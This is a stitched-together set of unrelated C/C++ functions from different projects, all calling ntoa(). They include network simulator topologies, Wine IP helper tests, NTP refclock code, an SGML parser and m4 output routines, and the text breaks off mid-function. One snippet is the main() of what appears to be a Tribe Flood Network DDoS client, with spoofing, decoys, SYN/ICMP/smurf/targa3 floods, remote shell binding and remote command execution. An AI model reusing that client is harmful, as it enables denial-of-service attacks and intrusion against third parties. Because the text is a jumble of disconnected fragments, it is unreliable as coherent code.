void BCubeTopology::init_network() { QueueLoggerSampling* queueLogger; assert(NUM_PORTS>0); assert(K>=0); assert(NUM_SRV==(int)pow(NUM_PORTS,K+1)); for (int i=0; i<NUM_SRV; i++) { address_from_srv(i,addresses[i]); for (int k=0; k<K; k++) { for (int j=0; j<NUM_SW; j++) { pipes_srv_switch[i][j][k] = NULL; queues_srv_switch[i][j][k] = NULL; pipes_switch_srv[j][i][k] = NULL; queues_switch_srv[j][i][k] = NULL; } } } // addresses[i][k] = ADDRESS(i,k); for (int k=0; k<=K; k++) { //create links for level K for (int i=0; i<NUM_SRV; i++) { int j; j = SWITCH_ID(i,k); //printf("SWITCH ID for server %d level %d is %d\n",i,k,j); //index k of the address queueLogger = new QueueLoggerSampling(timeFromMs(1000), *eventlist); //queueLogger = NULL; logfile->addLogger(*queueLogger); queues_srv_switch[i][j][k] = new RandomQueue(speedFromPktps(HOST_NIC), memFromPkt(SWITCH_BUFFER + RANDOM_BUFFER), *eventlist, queueLogger, memFromPkt(RANDOM_BUFFER)); queues_srv_switch[i][j][k]->setName("SRV_" + ntoa(i) + "(level_" + ntoa(k)+"))_SW_" +ntoa(j)); logfile->writeName(*(queues_srv_switch[i][j][k])); pipes_srv_switch[i][j][k] = new Pipe(timeFromUs(RTT), *eventlist); pipes_srv_switch[i][j][k]->setName("Pipe-SRV_" + ntoa(i) + "(level_" + ntoa(k)+")-SW_" +ntoa(j)); logfile->writeName(*(pipes_srv_switch[i][j][k])); queueLogger = new QueueLoggerSampling(timeFromMs(1000), *eventlist); //queueLogger = NULL; logfile->addLogger(*queueLogger); queues_switch_srv[j][i][k] = new RandomQueue(speedFromPktps(HOST_NIC), memFromPkt(SWITCH_BUFFER + RANDOM_BUFFER), *eventlist, queueLogger, memFromPkt(RANDOM_BUFFER)); queues_switch_srv[j][i][k]->setName("SW_" + ntoa(j) + "(level_" + ntoa(k)+")-SRV_" +ntoa(i)); logfile->writeName(*(queues_switch_srv[j][i][k])); pipes_switch_srv[j][i][k] = new Pipe(timeFromUs(RTT), *eventlist); pipes_switch_srv[j][i][k]->setName("Pipe-SW_" + ntoa(j) + "(level_" + ntoa(k)+")-SRV_" +ntoa(i)); logfile->writeName(*(pipes_switch_srv[j][i][k])); } } }
static std::string JsonEncodeChar( char x_ch ) { switch( x_ch ) { case '"' : return "\\\""; case '\'' : return "\\\\"; case '\t' : return "\\t"; case '\r' : return "\\r"; case '\n' : return "\\n"; } // end switch // Convert to two byte character char s[ 16 ] = { '\\', 'u', '0', '0', 0, 0, 0 }; ntoa( &s[ 4 ], x_ch ); return std::string( s, 6 ); }
static void testGetUdpTable(void) { if (gGetUdpTable) { DWORD apiReturn; ULONG dwSize = 0; apiReturn = gGetUdpTable(NULL, &dwSize, FALSE); if (apiReturn == ERROR_NOT_SUPPORTED) { skip("GetUdpTable is not supported\n"); return; } ok(apiReturn == ERROR_INSUFFICIENT_BUFFER, "GetUdpTable(NULL, &dwSize, FALSE) returned %d, expected ERROR_INSUFFICIENT_BUFFER\n", apiReturn); if (apiReturn == ERROR_INSUFFICIENT_BUFFER) { PMIB_UDPTABLE buf = HeapAlloc(GetProcessHeap(), 0, dwSize); apiReturn = gGetUdpTable(buf, &dwSize, FALSE); ok(apiReturn == NO_ERROR, "GetUdpTable(buf, &dwSize, FALSE) returned %d, expected NO_ERROR\n", apiReturn); if (apiReturn == NO_ERROR && winetest_debug > 1) { DWORD i; trace( "UDP table: %u entries\n", buf->dwNumEntries ); for (i = 0; i < buf->dwNumEntries; i++) trace( "%u: %s:%u\n", i, ntoa( buf->table[i].dwLocalAddr ), ntohs(buf->table[i].dwLocalPort) ); } HeapFree(GetProcessHeap(), 0, buf); } } }
static void testGetIpForwardTable(void) { if (gGetIpForwardTable) { DWORD apiReturn; ULONG dwSize = 0; apiReturn = gGetIpForwardTable(NULL, NULL, FALSE); if (apiReturn == ERROR_NOT_SUPPORTED) { skip("GetIpForwardTable is not supported\n"); return; } ok(apiReturn == ERROR_INVALID_PARAMETER, "GetIpForwardTable(NULL, NULL, FALSE) returned %d, expected ERROR_INVALID_PARAMETER\n", apiReturn); apiReturn = gGetIpForwardTable(NULL, &dwSize, FALSE); ok(apiReturn == ERROR_INSUFFICIENT_BUFFER, "GetIpForwardTable(NULL, &dwSize, FALSE) returned %d, expected ERROR_INSUFFICIENT_BUFFER\n", apiReturn); if (apiReturn == ERROR_INSUFFICIENT_BUFFER) { PMIB_IPFORWARDTABLE buf = HeapAlloc(GetProcessHeap(), 0, dwSize); apiReturn = gGetIpForwardTable(buf, &dwSize, FALSE); ok(apiReturn == NO_ERROR, "GetIpForwardTable(buf, &dwSize, FALSE) returned %d, expected NO_ERROR\n", apiReturn); if (apiReturn == NO_ERROR && winetest_debug > 1) { DWORD i; trace( "IP forward table: %u entries\n", buf->dwNumEntries ); for (i = 0; i < buf->dwNumEntries; i++) { char buffer[40]; sprintf( buffer, "dest %s", ntoa( buf->table[i].dwForwardDest )); sprintf( buffer + strlen(buffer), " mask %s", ntoa( buf->table[i].dwForwardMask )); trace( "%u: %s gw %s if %u type %u\n", i, buffer, ntoa( buf->table[i].dwForwardNextHop ), buf->table[i].dwForwardIfIndex, buf->table[i].dwForwardType ); } } HeapFree(GetProcessHeap(), 0, buf); } } }
/* * Print a number given various formatting options. * NB: No floating point yet. * */ void uart_putnum(int chan, uint16_t fmt, uint32_t num) { char buf[48]; ntoa(num, fmt, buf); uart_puts(chan, buf); if (fmt & FMT_NEWLINE) { uart_puts(chan, "\n"); } }
/* MDMS: Process marked section start. If already in special parse, bump the level counters and return without parsing the declaration. */ struct parse *mdms(UNCH *tbuf, /* Work area for tokenization [NAMELEN+2]. */ struct parse *pcb) /* Parse control block for this parse. */ { int key; /* Index of keyword in mslist. */ int ptype; /* Parameter token type. */ int pcbcode = 0; /* Parse code: 0=same; 2-4 per defines. */ if (++mslevel>TAGLVL) { --mslevel; sgmlerr(27, (struct parse *)0, ntoa(TAGLVL), (UNCH *)0); } /* If already in IGNORE mode, return without parsing parameters. */ if (msplevel) {++msplevel; return(pcb);} parmno = 0; /* No parameters as yet. */ mdessv = es; /* Save es for checking entity nesting. */ pcbmd.newstate = pcbmdtk; /* First separator is optional. */ /* PARAMETERS: TEMP, RCDATA, CDATA, IGNORE, INCLUDE, or MDS. */ while ((ptype = parsemd(tbuf, NAMECASE, &pcblitp, NAMELEN))==NAS){ if ((key = mapsrch(mstab, tbuf+1))==0) { sgmlerr(64, (struct parse *)0, ntoa(parmno), tbuf+1); continue; } if (key==MSTEMP) continue; /* TEMP: for documentation. */ msplevel = 1; /* Special parse required. */ if (key>pcbcode) pcbcode = key; /* Update if higher priority. */ } if (ptype!=MDS) { NEWCC; /* Syntax error did REPEATCC. */ sgmlerr(97, (struct parse *)0, lex.m.dso, (UNCH *)0); REPEATCC; /* 1st char of marked section. */ } if (es!=mdessv) synerr(37, pcb); TRACEMS(1, pcbcode, mslevel, msplevel); if (pcbcode==MSIGNORE) pcb = &pcbmsi; else if (pcbcode) { pcb = pcbcode==MSCDATA ? &pcbmsc : (rcessv = es, &pcbmsrc); } return(pcb); /* Tell caller whether to change the parse. */ }
route_t* BCubeTopology::bcube_routing(int src,int dest, int* permutation) { static int pqid = 0; route_t* routeout = new route_t(); Queue* pqueue = new Queue(speedFromPktps(HOST_NIC), memFromPkt(FEEDER_BUFFER), *eventlist, NULL); pqueue->setName("PQueue_" + ntoa(src) + "_" + ntoa(dest)+"_"+ntoa(pqid++)); routeout->push_back(pqueue); unsigned int crt_addr[K+1],crt, level,nsrv; int i; crt = src; for (i=0; i<=K; i++) crt_addr[i] = addresses[src][i]; int aaa = srv_from_address(crt_addr); // printf("CRT is %d, SRV FROM ADDRESS %d\n",crt,aaa); assert(crt==aaa); for (i=K; i>=0; i--) { level = permutation[i]; nsrv = (int)pow(NUM_PORTS,level+1); if (addresses[src][level]!=addresses[dest][level]) { //add hop from crt_addr by progressing on id level //go upto switch in level and correct digit //switch id routeout->push_back(queues_srv_switch[crt][SWITCH_ID(crt,level)][level]); routeout->push_back(pipes_srv_switch[crt][SWITCH_ID(crt,level)][level]); //now correct digit crt_addr[level] = addresses[dest][level]; crt = srv_from_address(crt_addr); assert(srv_from_address(crt_addr)==crt); routeout->push_back(queues_switch_srv[SWITCH_ID(crt,level)][crt][level]); routeout->push_back(pipes_switch_srv[SWITCH_ID(crt,level)][crt][level]); } } return routeout; }
void StarTopology::init_network() { QueueLoggerSampling* queueLogger; for (int i=0; i<NSRV; i++) { pipe_in_ns[i] = NULL; pipe_out_ns[i] = NULL; queue_in_ns[i] = NULL; queue_out_ns[i] = NULL; } for (int j = 0; j < NSRV; j++) { // Downlink queueLogger = new QueueLoggerSampling(timeFromMs(1000), *eventlist); //queueLogger = NULL; logfile->addLogger(*queueLogger); queue_in_ns[j] = new RandomQueue(speedFromPktps(HOST_NIC), memFromPkt(SWITCH_BUFFER + RANDOM_BUFFER), *eventlist, queueLogger, memFromPkt(RANDOM_BUFFER)); queue_in_ns[j]->setName("IN_" + ntoa(j)); logfile->writeName(*(queue_in_ns[j])); pipe_in_ns[j] = new Pipe(timeFromUs(RTT), *eventlist); pipe_in_ns[j]->setName("Pipe-in-" + ntoa(j)); logfile->writeName(*(pipe_in_ns[j])); queueLogger = new QueueLoggerSampling(timeFromMs(1000), *eventlist); //queueLogger = NULL; logfile->addLogger(*queueLogger); queue_out_ns[j] = new RandomQueue(speedFromPktps(HOST_NIC), memFromPkt(SWITCH_BUFFER + RANDOM_BUFFER), *eventlist, queueLogger, memFromPkt(RANDOM_BUFFER)); queue_out_ns[j]->setName("OUT_" + ntoa(j)); logfile->writeName(*(queue_out_ns[j])); pipe_out_ns[j] = new Pipe(timeFromUs(RTT), *eventlist); pipe_out_ns[j]->setName("Pipe-out-" + ntoa(j)); logfile->writeName(*(pipe_out_ns[j])); if (ff) { ff->add_queue(queue_in_ns[j]); ff->add_queue(queue_out_ns[j]); } } }
static void testGetTcpTable(void) { if (gGetTcpTable) { DWORD apiReturn; ULONG dwSize = 0; apiReturn = gGetTcpTable(NULL, &dwSize, FALSE); if (apiReturn == ERROR_NOT_SUPPORTED) { skip("GetTcpTable is not supported\n"); return; } ok(apiReturn == ERROR_INSUFFICIENT_BUFFER || broken(apiReturn == ERROR_NO_DATA), /* win95 */ "GetTcpTable(NULL, &dwSize, FALSE) returned %d, expected ERROR_INSUFFICIENT_BUFFER\n", apiReturn); if (apiReturn == ERROR_INSUFFICIENT_BUFFER) { PMIB_TCPTABLE buf = HeapAlloc(GetProcessHeap(), 0, dwSize); apiReturn = gGetTcpTable(buf, &dwSize, FALSE); ok(apiReturn == NO_ERROR, "GetTcpTable(buf, &dwSize, FALSE) returned %d, expected NO_ERROR\n", apiReturn); if (apiReturn == NO_ERROR && winetest_debug > 1) { DWORD i; trace( "TCP table: %u entries\n", buf->dwNumEntries ); for (i = 0; i < buf->dwNumEntries; i++) { char buffer[40]; sprintf( buffer, "local %s:%u", ntoa(buf->table[i].dwLocalAddr), ntohs(buf->table[i].dwLocalPort) ); trace( "%u: %s remote %s:%u state %u\n", i, buffer, ntoa( buf->table[i].dwRemoteAddr ), ntohs(buf->table[i].dwRemotePort), buf->table[i].dwState ); } } HeapFree(GetProcessHeap(), 0, buf); } } }
vector<route_t*>* StarTopology::get_paths(int src, int dest) { vector<route_t*>* paths = new vector<route_t*>(); route_t* routeout; Queue* pqueue = new Queue(speedFromPktps(HOST_NIC), memFromPkt(FEEDER_BUFFER), *eventlist, NULL); pqueue->setName("PQueue_" + ntoa(src) + "_" + ntoa(dest)); //logfile->writeName(*pqueue); routeout = new route_t(); routeout->push_back(pqueue); routeout->push_back(queue_out_ns[src]); routeout->push_back(pipe_out_ns[src]); routeout->push_back(queue_in_ns[dest]); routeout->push_back(pipe_in_ns[dest]); paths->push_back(routeout); check_non_null(routeout); return paths; }
/* * refclock_receive - simulate the receive and packet procedures * * This routine simulates the NTP receive and packet procedures for a * reference clock. This provides a mechanism in which the ordinary NTP * filter, selection and combining algorithms can be used to suppress * misbehaving radios and to mitigate between them when more than one is * available for backup. */ void refclock_receive( struct peer *peer /* peer structure pointer */ ) { struct refclockproc *pp; #ifdef DEBUG if (debug) printf("refclock_receive: at %lu %s\n", current_time, ntoa(&peer->srcadr)); #endif /* * Do a little sanity dance and update the peer structure. Groom * the median filter samples and give the data to the clock * filter. */ peer->received++; pp = peer->procptr; peer->processed++; peer->timereceived = current_time; peer->leap = pp->leap; if (peer->leap == LEAP_NOTINSYNC) { refclock_report(peer, CEVNT_FAULT); return; } if (!peer->reach) report_event(EVNT_REACH, peer); peer->reach |= 1; peer->reftime = peer->org = pp->lastrec; peer->rootdispersion = pp->disp + SQRT(pp->jitter); get_systime(&peer->rec); if (!refclock_sample(pp)) return; clock_filter(peer, pp->offset, 0., pp->jitter); clock_select(); record_peer_stats(&peer->srcadr, ctlpeerstatus(peer), peer->offset, peer->delay, clock_phi * (current_time - peer->epoch), SQRT(peer->jitter)); if (cal_enable && last_offset < MINDISPERSE) { #ifdef KERNEL_PLL if (peer != sys_peer || pll_status & STA_PPSTIME) #else if (peer != sys_peer) #endif /* KERNEL_PLL */ pp->fudgetime1 -= pp->offset * FUDGEFAC; else pp->fudgetime1 -= pp->fudgetime1 * FUDGEFAC; } }
static void testGetIpNetTable(void) { if (gGetIpNetTable) { DWORD apiReturn; ULONG dwSize = 0; apiReturn = gGetIpNetTable(NULL, NULL, FALSE); if (apiReturn == ERROR_NOT_SUPPORTED) { skip("GetIpNetTable is not supported\n"); return; } ok(apiReturn == ERROR_INVALID_PARAMETER, "GetIpNetTable(NULL, NULL, FALSE) returned %d, expected ERROR_INVALID_PARAMETER\n", apiReturn); apiReturn = gGetIpNetTable(NULL, &dwSize, FALSE); ok(apiReturn == ERROR_NO_DATA || apiReturn == ERROR_INSUFFICIENT_BUFFER, "GetIpNetTable(NULL, &dwSize, FALSE) returned %d, expected ERROR_NO_DATA or ERROR_INSUFFICIENT_BUFFER\n", apiReturn); if (apiReturn == ERROR_NO_DATA) ; /* empty ARP table's okay */ else if (apiReturn == ERROR_INSUFFICIENT_BUFFER) { PMIB_IPNETTABLE buf = HeapAlloc(GetProcessHeap(), 0, dwSize); apiReturn = gGetIpNetTable(buf, &dwSize, FALSE); ok(apiReturn == NO_ERROR || apiReturn == ERROR_NO_DATA, /* empty ARP table's okay */ "GetIpNetTable(buf, &dwSize, FALSE) returned %d, expected NO_ERROR\n", apiReturn); if (apiReturn == NO_ERROR && winetest_debug > 1) { DWORD i, j; trace( "IP net table: %u entries\n", buf->dwNumEntries ); for (i = 0; i < buf->dwNumEntries; i++) { trace( "%u: idx %u type %u addr %s phys", i, buf->table[i].dwIndex, buf->table[i].dwType, ntoa( buf->table[i].dwAddr )); for (j = 0; j < buf->table[i].dwPhysAddrLen; j++) printf( " %02x", buf->table[i].bPhysAddr[j] ); printf( "\n" ); } } HeapFree(GetProcessHeap(), 0, buf); } } }
/* * vme_report_event - note the occurance of an event * * This routine presently just remembers the report and logs it, but * does nothing heroic for the trap handler. */ static void vme_report_event( struct vmeunit *vme, int code ) { struct peer *peer; peer = vme->peer; if (vme->status != (u_short)code) { vme->status = (u_short)code; if (code != CEVNT_NOMINAL) vme->lastevent = (u_short)code; msyslog(LOG_INFO, "clock %s event %x", ntoa(&peer->srcadr), code); } }
int connect_ip_port(const int socket,const int ip,const unsigned short port){ //return 0 if succeed struct sockaddr_in addr; bzero((char*)&addr,sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = ip; addr.sin_port=htons(port); if(connect(socket,(struct sockaddr*)&addr,sizeof(addr))){ perror("connect"); fprintf(stderr,"target:%s\n",ntoa(ip)); exit(1); return 1; } return 0; }
/* ANMTGRP: Parse a name or name token group, create attribute descriptors for its members, and add them to the attribute descriptor list. The parse either terminates or returns a good token, so no switch is needed. */ int anmtgrp(struct parse *pcb, /* PCB for name or name token grp. */ struct ad nt[], /* Buffer for creating name token list. */ int grplim, /* Maximum size of list (plus 1). */ UNS *adn, /* Ptr to number of names or tokens in grp. */ int adsz) /* Size of att def list. */ { UNCH adtype = (UNCH)(pcb==&pcbgrnt ? ANMTGRP:ANOTEGRP);/*Attribute type.*/ int essv = es; /* Entity stack level when grp started. */ *adn = 0; /* Group is empty to start. */ while (parse(pcb)!=GRPE && *adn<grplim) { switch (pcb->action) { case NAS_: /* Name or name token (depending on pcb). */ case NMT_: parsenm(lbuf, NAMECASE); nt[*adn+1].adname = savenm(lbuf); if (antvget((int)(adsz+*adn), nt[*adn+1].adname, (UNCH **)0)) mderr(98, ntoa((int)*adn+1), nt[*adn+1].adname+1); nt[++*adn].adtype = adtype; nt[*adn].addef = NULL; continue; case EE_: /* Entity ended (correctly or incorrectly). */ if (es<essv) {synerr(37, pcb); essv = es;} continue; case PIE_: /* PI entity reference (invalid). */ entpisw = 0; /* Reset PI entity indicator. */ synerr(59, pcb); continue; default: break; } break; } if (es!=essv) synerr(37, pcb); if (*adn==grplim) return -1; else return *adn; /* Return number of tokens. */ }
wiviz_host *gotHost(wiviz_cfg * cfg, u_char * mac, host_type type) { int i = (mac[5] + (mac[4] << 8)) % MAX_HOSTS; int c = 0; wiviz_host *h = cfg->hosts + i; while (h->occupied && memcmp(h->mac, mac, 6)) { i++; h++; c++; if (i >= MAX_HOSTS) { i = 0; h = cfg->hosts; } if (c > MAX_PROBES) break; } #ifdef DEBUG if (!h->occupied) { fprintf(stderr, "New host %s\n", ntoa(mac)); } #endif h->occupied = 1; h->lastSeen = time(NULL); h->type = type; memcpy(h->mac, mac, 6); if (h->type == typeAP && !h->apInfo) { h->apInfo = (ap_info *) malloc(sizeof(ap_info)); memset(h->apInfo, 0, sizeof(ap_info)); } if (h->type == typeWDS && !h->apInfo) { h->apInfo = (ap_info *) malloc(sizeof(ap_info)); memset(h->apInfo, 0, sizeof(ap_info)); } if (h->type == typeSta && !h->staInfo) { h->staInfo = (sta_info *) malloc(sizeof(sta_info)); memset(h->staInfo, 0, sizeof(sta_info)); } return h; }
/* netx_change_group Parameter operation specifies netx_JOINGROUP or netx_LEAVEGROUP The call returns 0 if OK, non-zero if it fails. localGroup - multicast group IP address. */ int netx_change_group(netxsocket_t *netsock, ip4addr_t local_group, int operation) { LOG_FSTART(); /* if the IP passed in is not a valid multicast address */ if (!is_multicast(local_group)) { return FAIL; } acnlog(LOG_DEBUG | LOG_NETX, "netx_change_group, port, %d, group: %s", NSK_PORT(netsock), ntoa(local_group)); /* result = ERR_OK which is defined as zero so return value is consistent */ if (operation == netx_JOINGROUP) { /* Register to listen for UDP packets on the ACN port with this fifo */ RegisterMulticastFifo(local_group, NSK_PORT(netsock), &netx_fifo); acnlog(LOG_DEBUG | LOG_NETX, "netx_change_group: added"); } else { UnregisterMulticastFifo(local_group, NSK_PORT(netsock)); acnlog(LOG_DEBUG | LOG_NETX, "netx_change_group: deleted"); } return OK; /* OK */ }
/* * refclock_transmit - simulate the transmit procedure * * This routine implements the NTP transmit procedure for a reference * clock. This provides a mechanism to call the driver at the NTP poll * interval, as well as provides a reachability mechanism to detect a * broken radio or other madness. */ void refclock_transmit( struct peer *peer /* peer structure pointer */ ) { u_char clktype; int unit; int hpoll; u_long next; clktype = peer->refclktype; unit = peer->refclkunit; peer->sent++; /* * This is a ripoff of the peer transmit routine, but * specialized for reference clocks. We do a little less * protocol here and call the driver-specific transmit routine. */ hpoll = peer->hpoll; next = peer->outdate; if (peer->burst == 0) { u_char oreach; #ifdef DEBUG if (debug) printf("refclock_transmit: at %ld %s\n", current_time, ntoa(&(peer->srcadr))); #endif /* * Update reachability and poll variables like the * network code. */ oreach = peer->reach; peer->reach <<= 1; if (!peer->reach) { if (oreach) { report_event(EVNT_UNREACH, peer); peer->timereachable = current_time; peer_clear(peer); } } else { if (!(oreach & 0x03)) { clock_filter(peer, 0., 0., MAXDISPERSE); clock_select(); } if (!(oreach & 0x0f)) { hpoll--; } else if ((oreach & 0x0f) == 0x0f) hpoll++; if (peer->flags & FLAG_BURST) peer->burst = NSTAGE; } next = current_time; } get_systime(&peer->xmt); if (refclock_conf[clktype]->clock_poll != noentry) (refclock_conf[clktype]->clock_poll)(unit, peer); peer->outdate = next; if (peer->burst > 0) peer->burst--; poll_update(peer, hpoll); }
/* * refclock_newpeer - initialize and start a reference clock * * This routine allocates and initializes the interface structure which * supports a reference clock in the form of an ordinary NTP peer. A * driver-specific support routine completes the initialization, if * used. Default peer variables which identify the clock and establish * its reference ID and stratum are set here. It returns one if success * and zero if the clock address is invalid or already running, * insufficient resources are available or the driver declares a bum * rap. */ int refclock_newpeer( struct peer *peer /* peer structure pointer */ ) { struct refclockproc *pp; u_char clktype; int unit; /* * Check for valid clock address. If already running, shut it * down first. */ if (!ISREFCLOCKADR(&peer->srcadr)) { msyslog(LOG_ERR, "refclock_newpeer: clock address %s invalid", ntoa(&peer->srcadr)); return (0); } clktype = (u_char)REFCLOCKTYPE(&peer->srcadr); unit = REFCLOCKUNIT(&peer->srcadr); if (clktype >= num_refclock_conf || unit >= MAXUNIT || refclock_conf[clktype]->clock_start == noentry) { msyslog(LOG_ERR, "refclock_newpeer: clock type %d invalid\n", clktype); return (0); } /* * Allocate and initialize interface structure */ if (!(pp = (struct refclockproc *)emalloc(sizeof(struct refclockproc)))) return (0); memset((char *)pp, 0, sizeof(struct refclockproc)); typeunit[clktype][unit] = peer; peer->procptr = pp; /* * Initialize structures */ peer->refclktype = clktype; peer->refclkunit = unit; peer->flags |= FLAG_REFCLOCK; peer->stratum = STRATUM_REFCLOCK; peer->refid = peer->srcadr.sin_addr.s_addr; peer->maxpoll = peer->minpoll; pp->type = clktype; pp->timestarted = current_time; /* * Set peer.pmode based on the hmode. For appearances only. */ switch (peer->hmode) { case MODE_ACTIVE: peer->pmode = MODE_PASSIVE; break; default: peer->pmode = MODE_SERVER; break; } /* * Do driver dependent initialization. The above defaults * can be wiggled, then finish up for consistency. */ if (!((refclock_conf[clktype]->clock_start)(unit, peer))) { refclock_unpeer(peer); return (0); } peer->hpoll = peer->minpoll; peer->ppoll = peer->maxpoll; if (peer->stratum <= 1) peer->refid = pp->refid; else peer->refid = peer->srcadr.sin_addr.s_addr; return (1); }
void shipout_text (struct obstack *obs, const char *text, int length, int line) { static bool start_of_output_line = true; const char *cursor; /* If output goes to an obstack, merely add TEXT to it. */ if (obs != NULL) { obstack_grow (obs, text, length); return; } /* Do nothing if TEXT should be discarded. */ if (output_diversion == NULL) return; /* Output TEXT to a file, or in-memory diversion buffer. */ if (!sync_output) switch (length) { /* In-line short texts. */ case 8: OUTPUT_CHARACTER (*text); text++; case 7: OUTPUT_CHARACTER (*text); text++; case 6: OUTPUT_CHARACTER (*text); text++; case 5: OUTPUT_CHARACTER (*text); text++; case 4: OUTPUT_CHARACTER (*text); text++; case 3: OUTPUT_CHARACTER (*text); text++; case 2: OUTPUT_CHARACTER (*text); text++; case 1: OUTPUT_CHARACTER (*text); case 0: return; /* Optimize longer texts. */ default: output_text (text, length); } else { /* Check for syncline only at the start of a token. Multiline tokens, and tokens that are out of sync but in the middle of the line, must wait until the next raw newline triggers a syncline. */ if (start_of_output_line) { start_of_output_line = false; output_current_line++; #ifdef DEBUG_OUTPUT xfprintf (stderr, "DEBUG: line %d, cur %d, cur out %d\n", line, current_line, output_current_line); #endif /* Output a `#line NUM' synchronization directive if needed. If output_current_line was previously given a negative value (invalidated), output `#line NUM "FILE"' instead. */ if (output_current_line != line) { OUTPUT_CHARACTER ('#'); OUTPUT_CHARACTER ('l'); OUTPUT_CHARACTER ('i'); OUTPUT_CHARACTER ('n'); OUTPUT_CHARACTER ('e'); OUTPUT_CHARACTER (' '); for (cursor = ntoa (line, 10); *cursor; cursor++) OUTPUT_CHARACTER (*cursor); if (output_current_line < 1 && current_file[0] != '\0') { OUTPUT_CHARACTER (' '); OUTPUT_CHARACTER ('"'); for (cursor = current_file; *cursor; cursor++) OUTPUT_CHARACTER (*cursor); OUTPUT_CHARACTER ('"'); } OUTPUT_CHARACTER ('\n'); output_current_line = line; } } /* Output the token, and track embedded newlines. */ for (; length-- > 0; text++) { if (start_of_output_line) { start_of_output_line = false; output_current_line++; #ifdef DEBUG_OUTPUT xfprintf (stderr, "DEBUG: line %d, cur %d, cur out %d\n", line, current_line, output_current_line); #endif } OUTPUT_CHARACTER (*text); if (*text == '\n') start_of_output_line = true; } } }
static void trace_format (const char *fmt, ...) { va_list args; char ch; int d; const char *s; int slen; int maxlen; va_start (args, fmt); while (true) { while ((ch = *fmt++) != '\0' && ch != '%') obstack_1grow (&trace, ch); if (ch == '\0') break; maxlen = 0; switch (*fmt++) { case 'S': maxlen = max_debug_argument_length; /* fall through */ case 's': s = va_arg (args, const char *); break; case 'l': s = (debug_level & DEBUG_TRACE_QUOTE) ? lquote.string : ""; break; case 'r': s = (debug_level & DEBUG_TRACE_QUOTE) ? rquote.string : ""; break; case 'd': d = va_arg (args, int); s = ntoa (d, 10); break; default: s = ""; break; } slen = strlen (s); if (maxlen == 0 || maxlen > slen) obstack_grow (&trace, s, slen); else { obstack_grow (&trace, s, maxlen); obstack_grow (&trace, "...", 3); } } va_end (args); }
int main (int argc, char **argv) { FILE *tfnlist = NULL; char nexthost[BS]; unsigned long tfnhost = 0; int opt; if (argc < 2) usage (argv[0]); while ((opt = getopt (argc, argv, "P:D:S:f:h:i:p:c:")) != EOF) switch (opt) { case 'P': if (strcasecmp (optarg, "icmp") == 0) proto = 0; if (strcasecmp (optarg, "udp") == 0) proto = 1; if (strcasecmp (optarg, "tcp") == 0) proto = 2; break; case 'D': decoy = atoi (optarg); break; case 'S': myip = resolve (optarg); break; case 'f': if ((tfnlist = fopen (optarg, "r")) == NULL) { printf ("Unable to open file: %s\n", optarg); usage (argv[0]); } break; case 'h': tfnhost = resolve (optarg); break; case 'i': target = malloc (BS); strncpy (target, optarg, BS); break; case 'p': port = malloc (BS); strncpy (port, optarg, BS); break; case 'c': cid = atoi (optarg); break; default: usage (argv[0]); break; } printf ("[0;35m\n"); printf ("\tProtocol : "); switch (proto) { case 0: printf ("icmp\n"); break; case 1: printf ("udp\n"); break; case 2: printf ("tcp\n"); break; default: printf ("random\n"); break; } if (decoy) printf ("\tDecoy hosts : %d\n", decoy); if (myip) printf ("\tSource IP : %s\n", ntoa (myip)); else printf ("\tSource IP : random\n"); if (tfnlist != NULL) printf ("\tClient input : list\n"); else if (tfnhost != 0) printf ("\tClient input : single host\n"); else usage (argv[0]); if (port != NULL) printf ("\tTCP port : %d\n", atoi (port)); else if (cid == 5) { port = malloc (BS); strcpy (port, "0"); } if (target != NULL) { if ((cid > 4) && (cid != 10)) printf ("\tTarget(s) : %s\n", target); } else if (cid) usage (argv[0]); printf ("\tCommand : "); switch (cid) { case 0: RID = ID_STOPIT; printf ("stop flooding\n"); if (target == NULL) { target = malloc (BS); strcpy (target, "0"); } break; case 1: RID = ID_SWITCH; printf ("change spoof level to %d\n", atoi (target)); break; case 2: RID = ID_PSIZE; printf ("change packet size to %d bytes\n", atoi (target)); break; case 3: RID = ID_SHELL; printf ("bind shell(s) to port %d\n", atoi (target)); break; case 4: RID = ID_SENDUDP; printf ("commence udp flood\n"); break; case 5: RID = ID_SENDSYN; printf ("commence syn flood, port: %s\n", atoi (port) ? port : "random"); break; case 6: RID = ID_ICMP; printf ("commence icmp echo flood\n"); break; case 7: RID = ID_SMURF; printf ("commence icmp broadcast (smurf) flood\n"); break; case 8: RID = ID_MIX; printf ("commence mix flood\n"); break; case 9: RID = ID_TARGA; printf ("commence targa3 attack\n"); break; case 10: RID = ID_REXEC; printf ("execute remote command\n"); break; default: printf ("error\n"); usage (argv[0]); break; } #ifndef REQUIRE_PASS passchk (); #endif printf ("[0;31m\nSending out packets: [0;0m"); fflush (stdout); security_through_obscurity (1); if (tfnlist == NULL) { printf ( "tnflist null ....\n" ); tfn_sendto (tfnhost); } else { printf ( "tnflist not null ....\n" ); while (fgets (nexthost, 512, tfnlist) != NULL) { switch (nexthost[0]) { case '\n': case '\r': case ' ': case '#': continue; break; } trimbuf (nexthost); tfnhost = resolve (nexthost); if (tfnhost) tfn_sendto (tfnhost); } } printf ("\n"); return 0; }
int settarget(int addr, int target) { int r=findtarget(addr); targets[addr]=target; dbg("settarget: Packets for %d go to %s\n",addr,ntoa(ntohl(target))); }
int main(int argc, char **argv) { EventList eventlist; eventlist.setEndtime(timeFromSec(5000)); Clock c(timeFromSec(50/100.), eventlist); int algo = UNCOUPLED; double epsilon = 1; int crt = 2; if (argc>1) { if (!strcmp(argv[1],"UNCOUPLED")) algo = UNCOUPLED; else if (!strcmp(argv[1],"COUPLED_INC")) algo = COUPLED_INC; else if (!strcmp(argv[1],"FULLY_COUPLED")) algo = FULLY_COUPLED; else if (!strcmp(argv[1],"COUPLED_TCP")) algo = COUPLED_TCP; else if (!strcmp(argv[1],"COUPLED_EPSILON")) { algo = COUPLED_EPSILON; if (argc>2) { epsilon = atof(argv[2]); crt++; printf("Using epsilon %f\n",epsilon); } } else exit_error(argv[0]); } linkspeed_bps SERVICE1 = speedFromPktps(400); linkspeed_bps SERVICE2; if (argc>crt) SERVICE2 = speedFromPktps(atoi(argv[crt++])); else SERVICE2 = speedFromPktps(400); simtime_picosec RTT1=timeFromMs(100); simtime_picosec RTT2; if (argc>crt) RTT2 = timeFromMs(atoi(argv[crt])); else RTT2 = timeFromMs(100); mem_b BUFFER1=memFromPkt(RANDOM_BUFFER+timeAsSec(RTT1)*speedAsPktps(SERVICE1));//NUMFLOWS * targetwnd); mem_b BUFFER2=memFromPkt(RANDOM_BUFFER+timeAsSec(RTT2)*speedAsPktps(SERVICE2));//NUMFLOWS * targetwnd); srand(time(NULL)); // prepare the loggers 